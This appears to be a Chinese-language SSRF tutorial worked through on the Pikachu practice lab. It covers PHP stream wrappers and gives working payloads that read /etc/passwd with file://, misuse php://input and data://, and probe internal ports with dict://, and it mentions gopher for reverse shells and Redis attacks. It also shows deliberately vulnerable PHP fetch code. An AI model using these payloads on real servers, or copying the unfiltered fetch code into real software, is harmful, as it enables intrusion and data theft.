概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

数据流:攻击者——->服务器——>目标地址

image.png
根据后台使用的函数的不同,对应的影响和利用方法又有不一样,PHP中下面函数的使用不当会导致SSRF:

file_get_contents() fsockopen() curl_exec()

先赶紧给大家做个演示

在pikachu的靶场里,选择
image.png

http://192.168.182.147/vul/ssrf/ssrf_curl.php

image.png
那就来读读吧,

http://192.168.182.147/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php

image.png

开个小脑洞

在对ssrf这个知识体系不是很了解的情况,光看这个URL地址就来感觉了。
url后面跟着的是一个http地址。试着猜想一下,这个页面里面的诗是不是就是从这个http地址里读下来的。如果把http地址换成其他的内容,会如何?
边说边做? 各位可以尝试替换试试看!
我随便换了一个url地址,
image.png
还真是这样!把url地址的内容全部返回到网页里了。也就是服务器帮我们去请求了我们想要的内容。

开个大脑洞

你还能想到什么?
如果可以直接读到 /etc/passwd 能读到服务器端任意文件就好了。可行吗?
如果服务器没有做特别的限制的话。(这里需要排除特殊限制情况)。
http://192.168.182.147/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
url后面跟的是url协议,php对系统的支持,一定程度上是对系统协议的支持。如果有相关的模块的话。

延伸的知识体系

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。相关函数:include、require、include_once、require_once、highlight_file show_source 、readfile 、file_get_contents 、fopen 、file。

php协议类型

  1. file:// — 访问本地文件系统
  2. http:// — 访问 HTTP(s) 网址
  3. ftp:// — 访问 FTP(s) URLs
  4. php:// — 访问各个输入/输出流(I/O streams)
  5. zlib:// — 压缩流
  6. data:// — 数据(RFC 2397)
  7. glob:// — 查找匹配的文件路径模式
  8. phar:// — PHP 归档
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音频流
  12. expect:// — 处理交互式的流
  13. php://fd //允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
  14. php://memory 和 php://temp //内存流和临时文件流
  15. dict:// key/value的字典协议
  16. gopher:// 协议 [Gopher是Internet上一个非常有名的信息查找系统]


PHP.ini相关配置

allow_url_fopen
on 默认开启,该选项为on便是激活了,URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include
off 默认关闭,该选项为on便是允许包含URL对象文件等。

file://协议

file:// — 访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
SSRF知识相关* - 图6

各类协议的使用方法

file协议

file:// [文件的绝对路径和文件名]
http://192.168.182.147/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
image.png

php://协议

php:// — 访问各个输入/输出流(I/O streams)
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php://stdin php://stdout 和 php://stderr
php://stdin php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。
php://stdin 是只读的
php://stdout 和 php://stderr 是只写的。

php://stdin

<?php while($line = fopen(‘php://stdin’,’r’)) {//open our file pointer to read from stdin echo $line.”\n”; echo fgets($line);//读取 } ?>

php://stdout

<?php $fd = fopen(‘php://stdout‘, ‘w’); if ($fd) { echo $fd.”\n”; fwrite($fd, “test”); fwrite($fd, “\n”); fclose($fd); } ?>

php://stderr

<?php $stderr = fopen( ‘php://stderr’, ‘w’ ); echo $stderr.”\n”; fwrite($stderr, “uknow” ); fclose($stderr); ?>

php://filter

最常使用的一个伪协议,一般可以利用进行任意文件读取。php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前有机会应用其他过滤器。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
属性 支持
受限于 allow_url_include php://inputphp://stdinphp://memoryphp://temp
允许读取 php://stdinphp://inputphp://fdphp://memoryphp://temp
允许写入 php://stdoutphp://stderrphp://outputphp://fdphp://memoryphp://temp
允许追加 php://stdoutphp://stderrphp://outputphp://fdphp://memoryphp://temp(等于写入)
允许同时读写 php://fdphp://memoryphp://temp
支持 stat() php://memoryphp://temp
仅仅支持 stream_select() php://stdinphp://stdoutphp://stderrphp://fdphp://temp

php://filter/read=<读链需要应用的过滤器列表>
这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

GET /vul/ssrf/ssrf_fgc.php?file=php://filter/read=string.rot13/resource=php://input HTTP/1.1 Host: 192.168.182.150 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 21

qeqeqeqeqwqeqeqeqeee

运行看加密结果。

base64.encode:

image.png

类似的过滤流函数还有很多。我们称之为过滤器,过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器。
字符串过滤器

进行 rot13转换 string.toupper 将字符全部大写 string.tolower 将字符全部小写 string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果 着重介绍一下这个,功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式

<?php $fp = fopen(‘php://output’, ‘w’); stream_filter_append($fp, ‘string.rot13’); echo “rot13:”; fwrite($fp, “This is a test.\n”); fclose($fp);

  1. $fp = fopen('php://output', 'w');
  2. stream_filter_append($fp, 'string.toupper');
  3. echo "Upper:";
  4. fwrite($fp, "This is a test.\n");
  5. fclose($fp);
  6. $fp = fopen('php://output', 'w');
  7. stream_filter_append($fp, 'string.tolower');
  8. echo "Lower:";
  9. fwrite($fp, "This is a test.\n");
  10. fclose($fp);
  11. $fp = fopen('php://output', 'w');
  12. echo "Del1:";
  13. stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE);
  14. fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
  15. fclose($fp);
  16. $fp = fopen('php://output', 'w');
  17. echo "Del2:";
  18. stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b>");
  19. fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
  20. fclose($fp);
  21. $fp = fopen('php://output', 'w');
  22. stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));
  23. echo "Del3:";
  24. fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
  25. fclose($fp);

?>

SSRF知识相关* - 图9
转换过滤器
convert.base64-encode & convert.base64-decode
参考用户请学生们自行百度。

压缩过滤器
zlib.deflate和 zlib.inflate

加密过滤器
mcrypt.*mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。

php://input

php://input 可以访问请求的原始数据的只读流,。日常操作喜欢将post请求中的数据作为PHP代码执行。

  • allow_url_fopen :off/on
  • allow_url_include:on

以下数据包从BS里直接捞过来用

GET /vul/ssrf/ssrf_curl.php?url=php://input HTTP/1.1 Host: 192.168.182.149 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 13

adadadawqeqeq

看结果

对比:

GET /vul/ssrf/ssrf_fgc.php?file=php://input HTTP/1.1 Host: 192.168.182.149 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 20

qeqeqeqeqwqeqeqeqeee

file_get_contents 更有意思!
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。

其他协议

zip://, bzip2://, zlib://协议

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

  • allow_url_fopen :off/on
  • allow_url_include:off/on

使用方法
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
安全方面
上传压缩文件,在服务器端直接用zip://协议来调用文件。

GET /vul/ssrf/ssrf_fgc.php?file=zip:///var/www/html/vul/ssrf/upload/123.zip%23123.txt HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

data://协议
data://协议必须双在on才能正常使用;

  • allow_url_fopen :on
  • allow_url_include:on

GET /vul/ssrf/ssrf_fgc.php?file=data://text/plain,11111 HTTP/1.1 Host: 192.168.182.150 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.151/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 21

qeqeqeqeqwqeqeqeqeee

GET /vul/ssrf/ssrf_fgc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.151/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

传入base64的编码,会自动解码。因为它不是include,而是直接获得数据,显示数据。所以phpinfo()不会被执行。这里怕有同学误以为被执行了。

下面的黑体,注意urlencode编个码。

GET /vul/ssrf/ssrf_fgc.php?file=data://text/plain,%3c%3fphp%20phpinfo()%3f%3e HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.151/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

glob://协议

<?php $it = new DirectoryIterator($_GET[‘file’]); foreach($it as $f) { printf(“%s”, $f->getFilename()); echo’
‘; } ?>

php://memory

php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

dict://协议

在安全方面,前人总结利用,可以用来刺探端口信息。

GET /vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306 HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ud7801vqt43qakt6fgnm4at40t Connection: close Content-Length: 0

查看一下结果。很NICE!
dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

gopher://

gopher:协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
我们可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell。
image.png

curl —version [看看curl都支持什么协议] curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3 Release-Date: 2018-01-24 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL

那么SSRF可以做什么?

  • 可以对外网服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息 。
  • 攻击运行在内网或者本地的应用程序。
  • 对内网web应用进行指纹识别,通过访问默认文件实现 。
  • 攻击内外网的web应用。sql注入、struct2、redis等。
  • 利用file协议读取本地文件等。
  • 进行跳板
  • 无视cdn
  • 利用Redis未授权访问,HTTP CRLF注入实现getshell

    容易出现SSRF的地方

  • 转码服务

  • 在线翻译
  • 图片加载与下载(通过URL地址加载或下载图片)
  • 图片、文章收藏功能
  • 网站采集、网页抓取的地方。
  • 头像的地方。(远程加载头像)
  • 一切要你输入网址的地方和可以输入ip的地方。
  • 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

SSRF漏洞相关函数和协议

(1)file_get_contents()

<?php $url = $_GET[‘url’];; echo file_get_contents($url); ?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

(2)fsockopen()

<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo “$errstr (error number $errno) \n”; } else { $out = “GET $link HTTP/1.1\r\n”; $out .= “Host: $host\r\n”; $out .= “Connection: Close\r\n\r\n”; $out .= “\r\n”; fwrite($fp, $out); $contents=’’; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限。

(3)curl_exec()

<?php if (isset($_POST[‘url’])){ $link = $_POST[‘url’]; $curlobj = curl_init();// 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项 $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器 curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源 $filename = ‘./curled/‘.rand().’.txt’; file_put_contents($filename, $result); echo $result; } ?>

curl_exec函数用于执行指定的cURL会话。

注意
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议

SSRF思维导图

SSRF知识相关* - 图11

[

](https://blog.csdn.net/qq_37133717/article/details/94647789)